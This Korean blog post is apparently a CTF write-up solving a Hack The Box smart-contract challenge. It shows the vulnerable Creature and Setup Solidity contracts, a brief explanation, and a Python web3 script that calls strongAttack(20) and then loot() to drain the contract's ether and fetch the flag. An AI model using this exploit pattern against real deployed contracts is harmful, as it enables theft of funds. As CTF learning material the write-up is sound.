Creature.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Creature {
   
    uint256 public lifePoints;
    address public aggro;

    constructor() payable {
        lifePoints = 20;
    }

    function strongAttack(uint256 _damage) external{
        _dealDamage(_damage);
    }
   
    function punch() external {
        _dealDamage(1);
    }

    function loot() external {
        require(lifePoints == 0, "Creature is still alive!");
        payable(msg.sender).transfer(address(this).balance);
    }

    function _dealDamage(uint256 _damage) internal {
        aggro = msg.sender;
        lifePoints -= _damage;
    }
}

 

Setup.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Creature} from "./Creature.sol";

contract Setup {
    Creature public immutable TARGET;

    constructor() payable {
        require(msg.value == 1 ether);
        TARGET = new Creature{value: 10}();
    }
   
    function isSolved() public view returns (bool) {
        return address(TARGET).balance == 0;
    }
}

 

target의 balance를 0으로 만들면 isSolved()를 만족한다. 따라서 loot()를 호출하여 target의 이더를 msg.sender로 다 보내야 하고 이를 위해 lifePoints가 0이어야 한다. 이는 stringAttack으로 수행할 수 있다.

 

ex.py

from web3 import Web3
import requests
import json

url = "http://94.237.62.149:57086"

info = json.loads(requests.get(url + "/connection_info").content)

privkey = info["PrivateKey"]
target_addr = info["TargetAddress"]

w3 = Web3(Web3.HTTPProvider(url + '/rpc'))

contract = w3.eth.contract(address=target_addr, abi = open("abi.json", "r").read())

contract.functions.strongAttack(20).transact()
assert contract.functions.lifePoints().call() == 0
contract.functions.loot().transact()

print(requests.get(url + '/flag').content.decode())

'wargame' 카테고리의 다른 글

Ethernaut Re-entrancy (feat. 뻘짓)  (0) 2024.07.22
hackthebox - Honor Among Thieves  (1) 2024.05.15
hackthebox - Distract and Destroy  (1) 2024.05.15

+ Recent posts